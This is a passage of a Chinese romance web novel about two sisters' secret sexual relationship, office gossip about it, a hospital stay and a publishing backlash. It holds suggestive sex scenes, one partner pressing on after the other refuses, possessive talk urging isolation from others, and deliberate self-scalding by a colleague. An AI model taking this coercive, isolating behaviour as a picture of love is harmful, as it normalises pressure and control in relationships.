苏青荷心跳加速,双手一齐牵拉住她,仰着头接受她一下一下的轻啄。 苏青沅停下来,双眸里盛满了霓虹灯影的光芒,闪烁着,风吹起她们的长发,互相缠在了一起。 这一刻,她们相视。整个世界都是静止的,什么也都没有,只剩下彼此。 苏青荷被这道盛满了几乎溢出的爱意眸光包裹着,她看不见任何人,此刻眼里心里只有她。 她忽然抿起唇失笑,眼神躲开,径直往前走。她知道自己有些醉了,脸颊滚烫地像火烧,也没有哪一刻,心动会比此刻更强烈。 苏青沅见她忽然跑开,又迎着风笑着跟上前去,伸手牵住她。 “荷荷,我们结婚吧,好不好?” 苏青荷愣了下,脚步停住,她转过头来抬眼看她。 苏青沅盯着她,感受到掌心里的手指微凉,她抿住唇瓣,静静地等待着她的回答。 良久之后,苏青荷才垂下长睫,落寞地告诉她:“姐,对不起,我没有勇气接受世俗的眼光。” 苏青沅拉住她,像是意料之中似的,她深吸了口气,低头轻声说:“没关系,就这样也很好。不论是什么样的关系,我们都永远不会分离,是不是?” 苏青荷抬起头看她,牵起唇瓣嗯了一声。 苏青沅笑着看她,“我背你,好不好?” “好。” 奔波了几乎一整天,苏青荷双手圈住她的脖颈,闭眼贴在她的背上,寒风冷冽阵阵里,她也可以清晰地听清楚她的心跳。 半年的疏离,苏青荷没有哪一刻认定,自己无法离开她。 时间可以淡化许多的情感,同样的,也可以叫许多的感受变得清晰。 “姐。”苏青荷闭眼轻轻喊她。 苏青沅应她:“嗯。” “我爱你。” 苏青沅微顿,停下脚,她轻轻垂下眼睫,泪水模糊了她的视线,她抿起唇瓣无声笑着,又将背上的人往上轻掂了下,像托起她的全世界,继续往前走。 不论前面有多少荆棘坎坷,她都会一直背着她,走到世界尽头。 深夜,苏青荷仰面望着头顶上的人,主动抬手圈住她的脖颈,托唇吻她。 酒精与困乏一齐裹挟着微弱的意识,苏青荷细细用唇舌描摹她的唇瓣。 苏青沅单膝跪在她身侧,手肘撑在她枕头上,笑着看身下的人,用笨拙的方式与她接吻。 醉酒了的荷荷,比清醒的时候要更加可爱。 苏青沅撑着身体,一下一下蹭她,额头与她相抵着,她微用力咬了一下她的唇瓣,苏青荷吃痛,皱起眉睁开眼睛看她,不满地喊她:“姐……” “你吻得不好,姐姐教你。”苏青沅笑着说。 苏青荷望着她,一双漂亮盈满水波的秋眸,大而明亮,她忍不住地抿起唇笑,那双眼睛就又像小月牙儿,她伸手松松地圈在她脖颈间,又甜又软地笑问她:“那学不会怎么办?” 苏青沅轻笑,“那我就一直教你,像这样,还有这样。” 她一边说着,一边用唇舔舐她的。 手掌移到她的脑后,苏青沅将她整个人托起来,按向自己,加深了这个法式缠绵的吻。 “伸出来一些。”苏青沅一点一点教她,苏青荷意识浮沉,几乎失去了所有的理智和思考,只本能地按照姐姐说的去做,任由她的摆布。 手掌挽上她细长的脖颈,苏青沅另一只手托起她的背,让人坐起来,缠磨间与她对调过来,苏青沅依旧喜欢让她在上。 仿佛这样,她就可以轻而易举地将荷荷所有情动的瞬间全部的收入眼中。 她想要记录这一刻,用生命的长度,将它深深刻入她的骨髓之中。 几乎是疯狂的,苏青荷失去所有的力气,终于连身体也直不起来,她俯下身去,跌伏在她身上,苏青沅仰头,攫取她心脏上所有的心动。 心脏跳动的瞬间,那是荷荷爱她的佐证。 一直到凌晨快两点,苏青沅望着怀里的人贴在她胸口安然的睡着,像个乖巧的好宝宝。 唇珠上被吻得微微发红发肿,整张脸上绯红依旧,情.欲迟迟没有消褪。 苏青沅知道,自己爱她发狂,她无法离开她,一分一秒都不能够。 如果可以残忍,她宁愿把荷荷撕成一片一片,每一分一毫都是属于她的,不容许旁人沾染分毫。 苏青沅也明白,自己爱她到了癫狂的程度。 如果这注定是一场飞蛾扑火的疯狂,她早已命定,要为怀里这个人,冲入万劫不复的深渊之中。 她们相爱于冷冽深冬的一月,整座A市,到处都充斥着她们相爱的痕迹。 大雪翻飞,她们相拥着漫步在银色的世界里。 笑容再次爬上了荷荷的脸颊,苏青沅不顾一切地爱她,把所有的美好和珍贵全都搬到她的面前。 她想再对她好一点,再好一点,好到不能好为止,可依旧还是怕不够。 年底,文学社里提前放假。 苏青荷新书大卖,登顶寒假各大书店里畅销榜,她成了知名的作家。 因为长相惊艳,她在A市频频撞见了自己的读者,还常有人要和她合照签名。 生日将近,苏青沅再次提议要带她出去玩,苏青荷不肯,她道:“每一年都出去,每次都是又累又赶,还不如留在家里,多一点休息的时间。” 苏青沅知道她近来很忙,年里又报考了驾校。 每天驾校社里两头跑,连陪她吃饭的时间都没有。 她笑着答应说:“那好,等你拿了驾照,你带我去兜风。” 苏青荷穿着高跟鞋,出了文学社大门,往路口对面走,听见电话里的话,一边笑着一边说:“我敢开,你敢坐么,告诉你吧,我技术可是一点都不熟练。” 苏青沅站在办公室窗前,抿起唇笑道:“敢,怎么不敢,一回生二回熟么,要不然,放假了我陪你练车?” “你那么忙,哪里有时间陪我练车?”苏青荷轻轻抱怨。 苏青沅:“快了,估计还有一周,手头上的工程差不多就能结束了。” 苏青荷知道她公司近来新接手了一些稀有金属相关行业的生意,是父亲生前想要涉足的领域,只不过没有来得及,这几年,又在苏青沅的手里做了起来。 姐姐的优秀,一直比她想象中的要更厉害。 “吃饭了吗?”苏青荷问她。 已经快要一点钟了,苏青沅说还没有。 苏青荷又说:“那我来找你。” “我让徐琦去接你。” “不用。”苏青荷看着路边过来的车,对电话那头说,“我已经打到车了,十五分钟就到。” 苏青沅笑着说:“好。” 挂断电话,苏青荷上了车,对司机说:“师傅,到苏氏集团。” 那司机看见车后座上的人,先是愣了一下,而后试探着问:“你是水荷吧?” 苏青荷一愣,水荷是她的笔名。 还未等应答,那司机师傅先一步笑着开口赞叹说:“我女儿特别喜欢你写的那本《鬼魅行》,她还有你的照片,你比照片上还要漂亮的,我能不能替我女儿求一个签名?” 苏青荷失笑,点头说好。 到了公司楼下,前台也逐渐认识了她,远远看见她,就迎上来为她开苏青沅专用的电梯。 公司里许多人,几乎全都认识了她。 苏青荷独自站在电梯里,望着电梯里反光着的电梯壁。 里面有一个模糊看不见神情的苏青荷,她被人尽皆知,彻底暴露在世人之中。 电梯的门忽然开了,她忘记出去,电梯外的人不住地在叫她。 她愣了一下,抬眼看见她的笑容。 “怎么了?在想什么?”苏青沅笑着问她。 苏青荷牵唇,说没什么,“在想待会吃什么?” 苏青沅搂住她的腰,贴唇过来要吻她,苏青荷忽然吓了一跳,下意识抬眼望过去,办公室外她有好几个秘书,此刻全都低着头仿若没有看见她们。 苏青荷心跳砰砰,踩着高跟鞋,飞快地进了办公室。 苏青沅没有察觉出来她任何的变化,从后环上她的身体,贴在她颈后,悄悄问:“有没有想我?” 苏青荷望向办公室外,惊了下忙道:“有人。” 苏青沅反过来抱起她,直接将人抱坐在了面前的办公桌上,双手撑在她两侧,用身体圈住她,面对着她笑说:“怕什么,外面看不见里面的。” “那也不行。” 她挣扎着要跳下来,苏青沅没有让,低头就吻上了她的唇。 苏青荷下意识闭上眼睛,整个人被她压过来,腰后一下失了劲往后仰,苏青沅伸手托住她,鼻尖相抵着,一下一下地轻啄她的唇,有些依恋缠绵地问:“想不想在这里?” 第35章 冰冷的手指从腰腹往上探去,苏青荷听见她的话,吓了一跳,急忙起身就推开她。 苏青沅知道她一向是保守的,遂将办公室的窗帘全部都拉下来,里外都看不到人,才笑着围上来,从后拥抱住她。 她今天格外爱她,因为想起昨晚的缱绻与缠绵,依旧还未缓过来。 “我今天开会的时候都一直在想你。”苏青沅伸手从后抚弄她颈后柔软的长发,露出颈后一截雪白的肌肤,上面有她昨晚遗留下的痕迹,等不到她的回答,苏青沅主动低头吻那点点绯红斑驳,闭眼用眉眼蹭她,温柔地说,“想你的气息,想你的味道,想你的唇,想你的身体……” 她难得说这样孟浪的话,苏青荷被她撩拨得身体微微有些发颤,耳根脖颈都犹如火烧,她微喘息着轻轻偏过头,躲开她的碰触,“怎么说这样的话?” 苏青沅轻笑,再次问她:“那你呢,有没有想我?” 苏青荷微垂着眼眸,不肯承认,可嘴角又忍不住笑,带着打趣的意思只说:“没有。” 苏青沅听出来她话里的倔强,她搂住她的腰把人转过来,双手虚拢在她腰间,低头吻她的唇,轻声笑说:“骗人。” 今天的苏青沅比平常要粘人,苏青荷被她吻得唇瓣有些酥麻,腰里失了力道,苏青沅顺势拥压过去,不住往后退了好几步,两人双双跌进沙发里。 身体压上来,苏青荷紧张忐忑地推开她,抵在她怀里,声音压抑地急声说:“别,我不要在这里。” 苏青沅不顾她的挣扎,轻抓住她纤细的手腕,压在头顶上,膝盖顶蹭住她,微用了力。她被情.欲蛊惑,愈发有种不管不顾的沉沦,苏青沅埋进她颈窝里,细细地吻着,雪白的肌肤上,弄出一串一串的绯红。 苏青荷一颗心几乎提到了嗓子眼,心跳擂鼓似的跳动,纵然办公室里只有她们两个人,可是那玻璃墙之外,却有无数双陌生的眼睛,她颤着声音,几乎颤抖着轻推她说:“我,我们出去吃饭吧。” “你饿么?” 苏青荷嗯了一声,低声抵抗着:“我不想在这里。” 苏青沅停下来,额头与她相抵,又吻了一下她的唇瓣,撑离开她的身体,望着她的眼睛,说:“荷荷,你还是害怕,是不是?” 其实她一直都有感觉,荷荷害怕人的目光,她们在一起好几年,可不论何时何地,荷荷都不愿意公开她们的关系。 苏青沅知道她的顾忌,也理解她的感受。 只是,有些时候,她还是些许失落。或许爱一个人,会想要光明正大地让整个世界都知道,她想要向全世界宣称,苏青荷是她的,永永远远都是她一个人的。 伸手拨弄她额前被弄乱的碎发,苏青沅停下了动作,还是不愿意勉强她,轻刮了一下她的鼻尖,声音温柔道:“好了,我们出去吃饭。” 裙子领口扣子被扯开好几颗,苏青沅都轻轻替她又扣好,轻声说:“荷荷,不要怕,不论什么时候都不要怕,如果你怕,那就躲在我身后,一切都交给我。” 苏青荷望着她,眼眶微微有些湿。 她伸手拢了拢她的脖颈,怕眼泪掉下来,主动用眼睛蹭她的脸颊,答应着嗯了一声。 苏青沅带着她出了办公室,去外面吃饭。 因为午休时间,办公室外有不少人,徐琦不在,几个秘书还有别的部门的人,看着苏家姐妹二人进了电梯离开后,都立马聚在了一起窃窃私语八卦着。 “你们说,她们是亲姐妹吗?” “一个叫苏青沅,一个叫苏青荷,你说呢?” “也太那什么了,这难道不是乱.伦么。” “女人又不生孩子,怕什么?” “那你会跟你妹妹睡么?” “你别恶心我了。” “徐琦姐。”人群里不知是谁,突然喊了一声,其余人立马噤声不语。 徐琦看了眼空空的办公室,知道苏青沅走了,她瞥了其他人几眼,冷声道:“办公场所,不是茶话会,头顶上还有监控呢,如果苏总听见,你们知道会有什么下场。” 这话一出,众人立马变了脸色,全都乜斜着眼不说话。苏青沅对待人不留情面,向来是大伙儿有目共睹的事情,工作上一点小失误就能被骂得狗血淋头,不要说这种事情了。 徐琦冷眼沉声道:“以后各部门没有工作需要,严禁乱窜。” 几个楼下部门的女员工,听见这话纷纷夹着尾巴离开。 徐琦抬眼,隔着空气与不远处的何修美对视了一眼,视线交汇了三四秒后,徐琦才慢慢转过身。 几乎已经是尽人皆知了,两个人在一起,时时刻刻多少双眼睛,总有瞒不住的时候,何况苏青沅有时候肆无忌惮,整个公司上下,也几乎全都知道了她们之间的这种不堪关系。 总是苏青沅太自负,又或许是她太在乎苏青荷,她把自己那单方面的爱,想象得无限宏大。她低估了这世俗的力量,也叫那点爱蒙蔽住了双眼。 伤害是迟早的,如果有一天流言如洪水猛兽倾涌,徐琦不相信,她真的能撑得住。 —— 来年三月,苏青荷拿到了驾照,新车刚上路没有半个月,忽然追尾发生意外。 苏青沅开会接到医院的电话,吓得急忙扔下满会议室的人,跑到医院。 苏青荷额头撞破了一块,有些轻微的脑震荡。 苏青沅赶到的时候,医生正在病床前给她做检查,嘱咐了一些注意事项后,见到亲属来了才离开了病房。 病房里的人终于走完,苏青沅站在门口,怔怔地望着床上的人,确认她安然无恙地在她面前,她才终于慢慢走过去。 苏青荷抬头看见她脸上的担忧,知道一定吓坏她了,她牵了牵唇瓣,宽慰她说:“我没事的,你不要担心。” 苏青沅走到床边,看见她额头上贴着白色的纱布,脸色也白得像纸,声音有些沙哑地说:“以后我不跟着,你不许单独开车。” 苏青荷笑了下,仰头对她说:“真的没事的,总不能受一次伤,就永远不开车了,那也不是因噎废食么。” 苏青沅在床边坐下来,伸手拉起她的手,说:“那也等个大半年,熟悉熟悉再说。”望见她额头上的伤口,问道,“头上疼不疼,晕不晕?” 苏青荷望着她的眼睛,低低应了一声,说:“还好。” 今天是周一,公司里照例是忙碌的。 苏青荷对她说:“我没事的,就是一点外伤,休息两天就没事了。你去上班吧,不用管我,等晚上下班你再来。” 苏青沅说什么也不会在这时候离开,她拉着她的手道:“工作不重要,我这两天都陪着你。困不困,想不想睡一觉?脸色也不好看,眼睛底下都是黑眼圈。” 苏青沅知道她近来赶稿,常常都要熬到凌晨。 昨晚也不该缠磨她,明知她已经很累了,可还是没有克制自己,睡梦中醒了后还拉着她不放。 苏青沅贴过去,用眉骨蹭她的眼睛,轻轻道歉说:“对不起荷荷,昨晚弄到太晚,你是不是没有休息好。” 苏青荷下意识闭上眼睛,听出她话里的自责,只说没有,“我都习惯了,一开稿觉总是不够睡,我补补觉就好了。” 今天的车祸,不单是这些天来没休息好的原因,实则是她分心。 苏青荷承认自己今天是分心了,脑子里浮现着这段时间以来,身边的人总是异样的眼光。她知道不是她自己多想,时间像冲破绒布的刀尖,已经扎得她觉得密密实实的疼了。 苏青沅坐在床边,伸手扶她躺下来,又把杯子往上拉了拉,温柔地说:“那你睡一会,我陪着你。” 苏青荷:“好。” 或许真的是太累,连日来的缺觉,纵然藏着心事,但还是没多久就一下进入了梦乡。 从十点多一直睡到了傍晚也没有醒。 苏青荷一直在做梦,她做了一个好长好长的梦,梦里有无数的人出现,几乎全都是她最亲近认识过的,她们撞破了她和苏青沅的关系,全都跑过来质问她。 她被他们团团围住,一个一个,一句一句,逼问她为什么要这样做。 目光像锐利的刀,通体刺戳得她体无完肤。 有老师,有同学,也有乔楠,郁微,李萦纤,还有父亲…… 他们逼将上来,父亲眼里有鄙弃和埋怨,“荷荷,你怎么能这样做,你是爸爸的女儿,是爸爸最疼爱的女儿,你怎么可以做这样的事……” 乔楠:“这就是你离开我的原因吗,我恨你荷荷,你根本就不爱我,你怎么能爱上她,我要报复你……” 忽然不知道为什么,他们全体站在高楼的天台边上,风那样大,几乎看不到底的深渊一样,他们集体在她面前跳了下去! “不要!”苏青荷猛地惊醒,头顶上花白一片,她怔愣在那里,忽然什么也看不见,心跳声和呼吸声被放得无限大,她听见自己喘息着的声音,像在手术室里濒死之际。 “荷荷,荷荷——” 耳边声音一点一点清晰,苏青荷抬眼,望见床边的人,她轻轻喊她:“姐。” 苏青沅看着她脸色苍白,一双眼睛里凄凉而无神,两行清泪就那么从眼眶里流淌下来,落进发梢里。 心在一瞬间揪起来,苏青沅伸手替她擦去眼泪,不住地喊她:“姐姐在这,怎么了,做噩梦了么,不怕荷荷,姐姐在这里。” 梦境一点一点抽离,苏青荷望着眼前的人,心跳砰砰地如擂鼓。 苏青沅没有见过这样带着恐惧眼神的荷荷,她担忧地贴过去,要吻她的唇瓣抚慰她,可眼前的人却忽然如临大敌一样躲开了,那吻就落在她下颌上。 她知道她大概做了一场噩梦,因为她在梦里一直在喊爸爸,也有乔楠的名字。 伸手捧过她的脸,*苏青沅逼她转过来面对着自己,她低头咬上她的唇瓣。 没有吻,只干脆得咬。 “醒了么?” 第36章 苏青荷唇瓣吃痛,迷乱混沌的思绪一下被她拉回。 她望着她,抿住唇不说话。 苏青沅也与她对视,这段时间以来,她察觉出来她有些情绪低落,流言不断,不止自己听见了,她也无可避免。 尽管她也曾无数次告诉她,让她不要怕,只躲在她身后,可是,她依旧无法接受。 她爱她,却无法做到光明正大。 苏青沅也不愿意把一切都摊开来和她争辩,因为争论的结局无非是以争吵收场。 她不想为一切无关的人和事情再和她吵架了。 伸手替她理额间的碎发,露出白色的纱布,苏青沅抚她刚刚被自己咬痛的唇瓣,主动避开她梦中喊别人名字的事情,声音轻轻地问:“头还疼不疼,饿不饿,你睡了好长的时间,一天没吃什么东西?” 苏青荷还神情恍惚地望着她,她抿了抿唇,开口说:“我不想吃。” “还是吃一些吧,医生开了药,不吃点东西就吃药伤胃,我去楼下买一点,我们吃点好不好?” 她语气低柔到极点,几乎是在哄人。 苏青荷嗯了一声,声音有些沙哑,说:“好。” 苏青沅轻笑,低头在她唇上印了一个轻轻的吻,“等我回来。” “嗯。” 苏青沅离开后,病房里恢复安静,空荡荡地只剩下她一个人。 苏青荷望着头顶上的天花板,怔怔出神。 门口忽然传来敲门声。 她一愣,转头看去,发现是文蓝。 “文蓝,你怎么来了?”苏青荷要坐起来,文蓝急忙走进来,让她躺着就好。 文蓝把怀里的花放在床头,说:“早上你没到社里,后来打了你电话,是你姐接的,才知道你出了车祸,我刚下班,过来看看你。” “怎么样,严重吗?”文蓝弯下腰看她额头上的伤口,笑着伸手比了两根手指,打趣问,“能认识这是几吗?” 苏青荷被她逗笑,伸手拍开她的手,说:“脑子没坏。” 文蓝也笑:“赵主编非要我来看看你,她是怕你脑子撞坏了,稿子交不了,我一下班,她就催我来了,班都没让我加。” “那你还是托了我的福。” 文蓝在病房里环顾了一圈,在沙发上看见一个卡其色的包,她认得那是苏青沅的,故意又问:“你姐姐呢,你受伤住院,她怎么没来照顾你。” 苏青荷:“她刚下楼去买吃的了。” 文蓝垂眸哦了一声,她有意想要等人回来,所以故意留在了病房里,和苏青荷说了几句话。 “我给你倒杯水。” 苏青荷转头看着床头玻璃杯里满杯的水,说:“没事不用,杯子里有呢。” “都冷了,我给你倒热水。”说着,她拿起床头的玻璃杯,走到旁边饮水机倒水。 刚起身,转头就对上了门口从外面进来的人,文蓝愣了下,与苏青沅视线相撞。不过两秒不到的时间,她又飞快地闪躲开,转身去倒水。 苏青沅淡淡看了她一眼,拎着手里的东西走到床边。 “买了一份虾馄饨——” 话未落音,忽然一旁的人传来一声叫声,玻璃杯应声摔落在地,哗啦一声,滚水四撒。 苏青荷听见声音,忙坐起来,急声道:“怎么了,烫到了吗?” 说着又喊边上人:“姐,你快看下。” 文蓝忍着剧痛,声音发颤着说没事,要捡地上的玻璃碎片。 苏青沅走过去,发现人蹲在地上,手背上顿时红肿一片。 她伸手将人拉起来,“不用捡了,手上怎么样?” 文蓝起身,抬头望见她的眼神,抿唇笑着摇摇头说没事。 苏青荷道:“姐,你快带她去开个烫伤膏抹一下吧。” 文蓝:“没事的青荷,我自己去楼下买就可以了。” 未等苏青荷开口,苏青沅先一步对她说道:“走吧,我带你挂个号,抹点药水会好一点。” 不过一会,整片手背上就起了水泡,看着还是有些严重。 文蓝沉默着没有拒绝,苏青沅转身出去,她就也一起跟了出去。 天天渐渐黑了,医院走廊上微微有些按,文蓝跟在她身后,望着她的背影。 苏青沅长得高挑,比她高出半个头,所以她常常看不到也不敢看她的眼睛。 可她还是一直记得,第一次在社里与她相撞,视线交汇的那一瞬间。那一刻,她只要回忆起来,总是心动。 挂号的地方在排队,文蓝怕麻烦她,主动对她说:“我自己一个人就可以了,要不你回去照顾青荷吧。” 苏青沅看了她一眼,没说什么,只淡淡扔下“没事”两个字。 排队等号看诊上药,尽管到处人来人往,可文蓝还是认定,这是第一次与她单独相处,没有苏青荷在场。 彼此对坐着,时间仿佛拉得无限长,她们连衣角都没有碰触到,可这一刻,眼前那道目光落在她身上,仿佛是苏青沅在拥抱她。 手里的棉签被一只手接过,文蓝抬眼愣了下,看见苏青沅拉过她的手,替她上药。 抹完药,苏青沅问她:“还要上去吗?” 文蓝怔了下,说:“不上去了,我先回家了。” 苏青沅嗯了一声。 文蓝起身离开,走了几步,身后的人忽然又叫住她,她抿起唇,回头看她。 苏青沅:“荷荷这一周都不上班了,你替她请个假吧。” 文蓝眼睛里光芒熄灭,有些失落地嗯了一声。 苏青沅眼神冷淡,没有再停留,转身就往住院部方向离开。 文蓝看着她的背影消失在人群中,孤寂和落寞爬上心头。 其实不过也就二十分钟,她像是被抽去了所有的力气。仿佛苏青沅拥抱过她,突然又抽离出她的身体那样。 她想象着,如果她是苏青荷,那个人又会怎么做。 大约连眼神都是不一样的。 一切不过都是假的,这一刻,文蓝清楚地意识到自己的阴暗与不堪。 她故意给苏青荷倒水,故意打碎玻璃瓶,故意把滚烫的开水浇在自己的手臂上……只不过是为了祈求换来一点点连朋友都算不上的关怀…… 病房里,苏青沅回到病房里,发现人不在床上,又听见浴室里传来水声。 等了好一会儿,人才从里面出来。 她穿着睡衣,额边刘海有些潮湿。 苏青荷看见她回来,问:“文蓝呢,她怎么样了?” 苏青沅:“没什么事,抹了药。你怎么洗澡了,伤口上不能碰水,不知道么?” 苏青荷说:“我没有碰到,避开了。” 苏青沅走过去,将人拦腰抱起,抱到了床边,伸手扯了几张纸巾,替她擦拭额头边上的水渍。 “我给你换药。”苏青沅撕开她额头上的纱布,一边又问她,“馄饨吃完了么?” 苏青荷:“吃完了。” “药吃了吗?” “还没有。” “头疼不疼?” “就一点点,不去想就不觉得。”苏青荷坐在床边仰头看着她,见她眼里满是温柔和体贴,她又开口说,“我想回一趟家,把笔记本拿来。” 苏青沅低眸看她,“做什么?” 苏青荷略微犹豫地说:“反正睡不着,我头也不晕了,我想写一会稿子,离交稿就剩两个月不到了……” “不许写。”苏青沅替她上完药,又贴上了干净的纱布,“睡不着就陪着我,难道,我就不如你的那些稿子重要?” 苏青荷见她吃稿子的醋,不由发笑,道:“那我一边写,一边陪你,行不行?” 苏青沅一口拒绝,说:“不行。今天晚上,你什么也不许做。” 苏青荷抿住唇,撇嘴盯着她不肯说话。 床头药片拿出来,苏青沅站在床边,查看说明书和用量,对她说:“先把药吃了。” “为什么要住在医院里,我就一点点的外伤,我现在头不疼也不晕,医生都说我完全可以不用住院。” 苏青沅无视她的话,掌心里躺着两颗药片递过去,命令道:“把药吃了。” 苏青荷低头看着,说:“我不吃。”说完,又有些心虚,抬头看她的眼神,看见她正盯着自己,一言不发。 苏青荷伸手接过杯子和药,一口把药吞下,又对她说:“这样行吗?” 苏青沅没有说话,伸手接过她手里的杯子,放在床头。 “笔记本放在哪里了,书房还是卧室?” 苏青荷一愣,回味回来她的意思,立马欣喜地笑着说:“卧室,我放在柜子旁了。还有抽屉里有本笔记,黑色封皮的。” 苏青沅:“先说好,不许超过九点钟。” 苏青荷:“我保证。” 苏青沅伸手刮了她一下鼻子,嗔怪了一句:“小冤家。” 苏青荷下意识闭了下眼睛,笑着说:“谢谢姐。” 苏青沅一边拿外套和车钥匙,一边说道:“要不是想起小跳跳没有喂,我是不会帮你跑这一趟的。” 苏青荷跪在床边,倾身圈住她的脖颈,在她脸颊上亲了一下,把脸颊垫在她的肩上,轻轻地说:“我知道。” 苏青沅感受到她的雀跃,原本今晚她们之间因为那一场梦气压低沉,后来又因为有人来,被冲散了许多,这会儿又像是全然消失了,只剩下温馨平淡的美好。 她反手拍了拍她的脸颊,“等我回来。” “好。” 晚上七点,苏青沅从家里拿了她的笔记本还有写作资料。 苏青荷是靠灵感滋养的生物,她是真诚热爱文字的。苏青沅甚至能够从她的状态,来判定她是否文思泉涌。 如果哪一天,她闷闷不乐莫名烦躁,那一定是她卡文了。 陪她写文,是一件非常无聊的事情。 苏青沅洗完澡就靠在床头,时间还很早,手机看了几遍,也没有什么有趣的事情。 抬眼看见坐在桌边的背影,此刻她所有的情绪目光,一切都投入了她的文字里。 说是陪她,和她桌边陪伴的植物没什么俩样。连一个目光都没有给她,更不要说说话了。 好不容易熬到了八点半,苏青沅忍不住苦闷,她起身下床走过去,直接合上了她的电脑,手臂穿过腿弯,将人拦腰抱起来。 苏青荷愣了下,看了眼墙上的钟,急说:“不是说九点钟?” 苏青沅把人往床上抱,“我反悔了。” “我还没有保存!” “你那个软件是自动保存的,你都停住三分钟没有敲一个字了,写不出来就别写了。”说着就关掉了床头的灯,将人搂进怀里压过去。 漆黑的房间里,苏青荷被她吻得透不过气来,睡衣纽扣被一下扯开,她吓道:“这是医院苏青沅!!” “医院怕什么,正好我们试试在医院做,是什么感觉?” 苏青荷被她孟浪的话惊住,她忙抽出手抵住她,失笑制止说:“我,我头还有些晕。” 苏青沅抓住她的手,借着窗外的一点光亮打量她的神情,知道是她故意找的借口,道:“看起来,我是真不如你的稿子重要,你宁愿找借口也要排斥我。荷荷,我伤心了。” 苏青荷愣住,听出这话里的埋怨与委屈,她从来没见过会在面前撒娇的苏青沅,愣住的神情忽然又失笑,道:“哪里有这样的。” 苏青沅抚她腰间的细滑,问她:“那是怎么样的?我重要吗?比你的稿子重要吗?” 苏青荷被她逗笑,说:“重要,当然是你重要。” “那你证明我看。” 苏青荷愣道:“我怎么证明?” 苏青沅挑眉,“先亲我一下。” 苏青荷笑着搂住她的脖子,托唇吻她,“这样行吗?” “不够。” 苏青荷又亲了她一下,笑着问:“这样够吗?” “不够不够,都不够。” 苏青荷反应过来,“耍无赖呢你!” 苏青沅低头吻上她,堵住她所有的话。长长的一吻作罢,苏青沅点燃她的身体,靠在她唇边细细地哄问她:“荷荷,试试行么?” 苏青荷承认自己被她撩拨了,她忍着欲.望,犹豫说:“可是,可是这里是医院,指套都没有……” “我带了。” 苏青荷愣了下,反应过来,是她晚上回家拿的。她搂住她的脖子,无奈地笑:“姐,你真的很过分。” 苏青沅看见她的笑容,就知道她妥协了,湿漉的吻爬上她的下颌,带着哄小孩儿的语气哄问她:“那这样过分的我,你爱吗?” 苏青荷不肯说话,苏青沅不满地踹捏她,“你爱吗,荷荷?” 苏青荷被欲.望彻底裹挟住沦陷,微喘着说:“我爱。” 苏青沅怕失去她,面对荷荷,她从抢到夺,再由哄到骗,几乎所有的方式她都用尽了,可依旧还是怕失去她。 纵然荷荷说一万遍爱她,她依旧还是没有安全感。 苏青沅迁就讨好她,情.欲迷乱之际,她告诉她:“不要抛弃我荷荷,我可以失去一切,唯独无法失去你。” 第37章 苏青荷头上的伤口渐渐恢复,第二天医生说就可以回家了,但苏青沅怕她还有什么后遗症,硬是在医院多住了好几天才出院。 出院又恰逢周末,苏青沅难得把所有工作全部丢开,在家又陪了她两天。 两人出院的当天,一起去逛了超市,买了很多的新鲜食材。 一连两天,苏青沅换着花样给苏青荷做了很多好吃的菜。 苏青沅有一款拿手好菜,是红烧肉。 周末的中午,满屋飘香。 苏青荷吃了很多,又配着盛了两碗米饭。 苏青沅见她爱吃,笑着问:“喜欢吗?” 苏青荷点点头,说:“喜欢,就是不敢多吃,怕发胖。” 苏青沅笑:“不胖,是太瘦了,以后周末我们都尽量在家里吃,我给你补一补。” 苏青荷抬眼看向她,愣了一下,说不要。 “为什么?” 苏青荷知道她平时工作很忙,难得休息还要围着她转,心里有说不出的滋味。 姐姐对她太好,几乎把她所有的一切,全都给了她。这样的好,是另一种沉重。 她抬起头,抿起笑容,说:“那多费时间,你看你一顿饭忙活了一下午,要是这样,两天时间不都浪费了,我都没有时间陪着你。” 苏青沅笑:“什么时候这么贴心,会体贴人了?” “你不喜欢?” “喜欢。”苏青沅牵唇说,“荷荷长大了。” 苏青荷一怔,眼神有片刻的恍惚与失神。 天气渐暖,苏青荷的新书定稿。 这一本是没有先在网络上连载,社里直接定了出版稿。 与以往的风格都不同,苏青荷破天荒写了一本禁忌之恋,是姐妹之间的故事。 定稿初期,社里并不同意出版这样有争议性的作品,怕过不了审,又是未连载的状态下,市场反应和效果都无法保证的情况下,万一出了纰漏,那么一切付出就全都打了水漂。 最后是社里的赵主编看了苏青荷的大纲和想法之后,才力排众议决定出版。 说起来,赵尔珊是苏青荷的忠实读者,当初苏青荷大学还没有毕业,赵尔珊发掘了她,给她定稿出版,一毕业,就把她调来社里,一切的资源条件都给了苏青荷。 苏青荷能有今天的名气和成就,离不开赵尔珊的功劳。 赵尔珊也相信,故事与人物的鲜活,能胜过一切的力量。 原计划六月定稿,分上中下三篇。 可五月快要到了,苏青荷的第三卷迟迟无法下笔。故事已经到了高.潮收尾的阶段,主角两人的结局何去何从,连她自己都没有定论。 苏青荷也承认自己,写不出来。 定稿在即,赵尔珊也只好说,先出两卷,分两个月出,再给她预留一些时间。 第一卷出版后半个月,平台才同步连载,一经上架,题材的特殊,就引起了不小的争议,就连苏青荷的账号都受到了冲击。 事实证明,大部分的读者,是接受不了这样的故事的。 新读者口诛笔伐,旧读者认定她风格大改,与以前的文风甚至内核都全然变调,一时之间,她的新书惨遭滑铁卢。 原本苏青荷就迟迟下不了笔填完结局,此刻被如潮水而来的评论所掩盖,情绪低落到了极点。 苏青沅不想她陷入情绪里,被别人拖着走。 夜里苏青荷失眠,看着社交软件里的留言。那像说书里的人,也像是在说她自己。 苏青沅伸手夺过她的手机,扔到床头柜子上,搂过她的腰,把人抱进怀里,说:“别看了荷荷,你不该写这样的角色,你把自己陷入了困顿里,你在作茧自缚,你知道吗?” 苏青沅没有完整地看过她写的这本书,只知道书里的两个角色,借鉴了她们之间的关系。 苏青荷贴在她怀里,轻轻抬头看她,说:“其实没人愿意接受的,对不对?” 苏青沅拥望着她的眼睛,近来她总是失眠睡不好,眼睛底下乌青一片,她的确是在作茧自缚。 问题也一直存在,只是她们这段时间通通都不肯提。她做了最错误的一件事,把她们之间的关系,放到了别人口中评判,来企图寻找被认可的安全感。 她不明白安全感永远来源于自己,她不强大,却还要卑微得去请求全世界的人原谅。 她们根本没有错,为什么要去求得不想干的人原谅? 苏青沅伸手将她的脑袋按进胸口,“荷荷,我请求你,把你世界的所有人全部清除出去好么,只留我一个人,你不需要关注他们,这个世界上,其实只有我们两个人而已,别的人都不重要,他们不值得你耗费这样多的力气去纠缠与内耗,真的不值得。” 苏青荷闭上眼睛,轻轻嗯了一声。 她这样答应她,可还是清楚地知道,她其实无法做到。 苏青沅吻她,用唇点燃她的身体。 